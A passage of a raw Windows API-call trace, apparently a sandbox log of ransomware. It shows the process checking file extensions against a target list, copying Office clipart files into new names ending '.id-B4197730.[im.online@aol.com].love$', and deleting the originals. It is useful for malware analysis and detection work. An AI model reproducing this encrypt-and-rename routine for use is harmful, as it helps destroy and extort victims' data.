68 [0269.919] lstrlenW (lpString=".jpg") returned 4 [0269.919] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0269.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.920] lstrlenW (lpString=".doc") returned 4 [0269.920] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0269.920] lstrlenW (lpString=".docx") returned 5 [0269.920] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0269.920] lstrlenW (lpString=".pdf") returned 4 [0269.920] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0269.920] lstrlenW (lpString=".xls") returned 4 [0269.920] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0269.920] lstrlenW (lpString=".xlsx") returned 5 [0269.920] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0269.920] lstrlenW (lpString=".ppt") returned 4 [0269.920] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0269.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.920] lstrlenW (lpString=".zip") returned 4 [0269.920] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0269.920] lstrlenW (lpString=".rar") returned 4 [0269.920] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0269.920] lstrlenW (lpString=".bz2") returned 4 [0269.920] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0269.920] lstrlenW (lpString=".7z") returned 3 [0269.920] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0269.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.920] lstrlenW (lpString=".dbf") returned 4 [0269.920] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0269.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.921] lstrlenW (lpString=".1cd") returned 4 [0269.921] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0269.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0269.921] lstrlenW (lpString=".jpg") returned 4 [0269.921] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0269.921] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0269.921] lstrlenW (lpString="J0099189.JPG") returned 12 [0269.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.923] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8076) returned 1 [0269.923] CloseHandle (hObject=0x418) returned 1 [0269.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0269.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.925] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.925] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0270.387] GetLastError () returned 0x0 [0270.387] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0270.390] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1f90, lpOverlapped=0x0) returned 1 [0270.392] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.392] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.393] SetEndOfFile (hFile=0x4ac) returned 1 [0270.394] CloseHandle (hObject=0x4ac) returned 1 [0270.394] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.394] SetEndOfFile (hFile=0x418) returned 1 [0270.398] CloseHandle (hObject=0x418) returned 1 [0270.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0270.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.403] lstrlenW (lpString=".doc") returned 4 [0270.403] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0270.404] lstrlenW (lpString=".docx") returned 5 [0270.404] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0270.404] lstrlenW (lpString=".pdf") returned 4 [0270.404] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0270.404] lstrlenW (lpString=".xls") returned 4 [0270.404] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0270.404] lstrlenW (lpString=".xlsx") returned 5 [0270.404] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0270.404] lstrlenW (lpString=".ppt") returned 4 [0270.404] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0270.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.404] lstrlenW (lpString=".zip") returned 4 [0270.404] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0270.404] lstrlenW (lpString=".rar") returned 4 [0270.404] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0270.404] lstrlenW (lpString=".bz2") returned 4 [0270.404] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0270.404] lstrlenW (lpString=".7z") returned 3 [0270.404] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0270.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.404] lstrlenW (lpString=".dbf") returned 4 [0270.404] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.405] lstrlenW (lpString=".1cd") returned 4 [0270.405] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.405] lstrlenW (lpString=".jpg") returned 4 [0270.405] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.405] lstrlenW (lpString=".doc") returned 4 [0270.405] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0270.405] lstrlenW (lpString=".docx") returned 5 [0270.405] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0270.405] lstrlenW (lpString=".pdf") returned 4 [0270.405] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0270.405] lstrlenW (lpString=".xls") returned 4 [0270.405] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0270.405] lstrlenW (lpString=".xlsx") returned 5 [0270.405] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0270.405] lstrlenW (lpString=".ppt") returned 4 [0270.405] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.405] lstrlenW (lpString=".zip") returned 4 [0270.405] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0270.406] lstrlenW (lpString=".rar") returned 4 [0270.406] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0270.406] lstrlenW (lpString=".bz2") returned 4 [0270.406] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0270.406] lstrlenW (lpString=".7z") returned 3 [0270.406] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0270.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.406] lstrlenW (lpString=".dbf") returned 4 [0270.406] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0270.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.406] lstrlenW (lpString=".1cd") returned 4 [0270.406] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0270.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0270.406] lstrlenW (lpString=".jpg") returned 4 [0270.406] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0270.406] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0270.406] lstrlenW (lpString="J0099192.GIF") returned 12 [0270.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.409] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=17964) returned 1 [0270.409] CloseHandle (hObject=0x418) returned 1 [0270.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0270.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.412] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.412] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0270.414] GetLastError () returned 0x0 [0270.414] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x462c, lpOverlapped=0x0) returned 1 [0270.417] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4630, lpOverlapped=0x0) returned 1 [0270.419] ReadFile (in: hFile=0x418, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.419] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.420] SetEndOfFile (hFile=0x4ac) returned 1 [0270.420] CloseHandle (hObject=0x4ac) returned 1 [0270.420] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.421] SetEndOfFile (hFile=0x418) returned 1 [0270.426] CloseHandle (hObject=0x418) returned 1 [0270.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0270.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.783] lstrlenW (lpString=".doc") returned 4 [0270.783] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0270.783] lstrlenW (lpString=".docx") returned 5 [0270.783] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0270.783] lstrlenW (lpString=".pdf") returned 4 [0270.783] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0270.783] lstrlenW (lpString=".xls") returned 4 [0270.783] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0270.783] lstrlenW (lpString=".xlsx") returned 5 [0270.783] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0270.783] lstrlenW (lpString=".ppt") returned 4 [0270.783] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0270.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.783] lstrlenW (lpString=".zip") returned 4 [0270.783] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0270.783] lstrlenW (lpString=".rar") returned 4 [0270.783] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0270.783] lstrlenW (lpString=".bz2") returned 4 [0270.784] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0270.784] lstrlenW (lpString=".7z") returned 3 [0270.784] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0270.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.784] lstrlenW (lpString=".dbf") returned 4 [0270.784] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0270.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.784] lstrlenW (lpString=".1cd") returned 4 [0270.784] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0270.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.784] lstrlenW (lpString=".jpg") returned 4 [0270.784] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0270.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.784] lstrlenW (lpString=".doc") returned 4 [0270.784] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0270.784] lstrlenW (lpString=".docx") returned 5 [0270.784] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0270.784] lstrlenW (lpString=".pdf") returned 4 [0270.784] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0270.784] lstrlenW (lpString=".xls") returned 4 [0270.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0270.785] lstrlenW (lpString=".xlsx") returned 5 [0270.785] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0270.785] lstrlenW (lpString=".ppt") returned 4 [0270.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0270.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.785] lstrlenW (lpString=".zip") returned 4 [0270.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0270.785] lstrlenW (lpString=".rar") returned 4 [0270.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0270.785] lstrlenW (lpString=".bz2") returned 4 [0270.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0270.785] lstrlenW (lpString=".7z") returned 3 [0270.785] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0270.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.785] lstrlenW (lpString=".dbf") returned 4 [0270.785] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0270.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.785] lstrlenW (lpString=".1cd") returned 4 [0270.785] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0270.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0270.785] lstrlenW (lpString=".jpg") returned 4 [0270.785] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0270.786] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0270.786] lstrlenW (lpString="J0099195.GIF") returned 12 [0270.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.375] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=19923) returned 1 [0271.375] CloseHandle (hObject=0x488) returned 1 [0271.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0271.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.376] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.377] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0271.379] GetLastError () returned 0x0 [0271.379] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0271.389] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0271.391] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0271.391] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0271.392] SetEndOfFile (hFile=0x534) returned 1 [0271.392] CloseHandle (hObject=0x534) returned 1 [0271.392] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.392] SetEndOfFile (hFile=0x488) returned 1 [0271.398] CloseHandle (hObject=0x488) returned 1 [0271.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0271.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.401] lstrlenW (lpString=".doc") returned 4 [0271.401] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.401] lstrlenW (lpString=".docx") returned 5 [0271.401] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0271.401] lstrlenW (lpString=".pdf") returned 4 [0271.401] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.401] lstrlenW (lpString=".xls") returned 4 [0271.401] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.401] lstrlenW (lpString=".xlsx") returned 5 [0271.401] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0271.401] lstrlenW (lpString=".ppt") returned 4 [0271.401] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.401] lstrlenW (lpString=".zip") returned 4 [0271.401] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.401] lstrlenW (lpString=".rar") returned 4 [0271.401] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.401] lstrlenW (lpString=".bz2") returned 4 [0271.401] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.401] lstrlenW (lpString=".7z") returned 3 [0271.401] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.401] lstrlenW (lpString=".dbf") returned 4 [0271.401] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.402] lstrlenW (lpString=".1cd") returned 4 [0271.402] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.402] lstrlenW (lpString=".jpg") returned 4 [0271.402] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.402] lstrlenW (lpString=".doc") returned 4 [0271.402] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.402] lstrlenW (lpString=".docx") returned 5 [0271.402] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0271.402] lstrlenW (lpString=".pdf") returned 4 [0271.402] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.402] 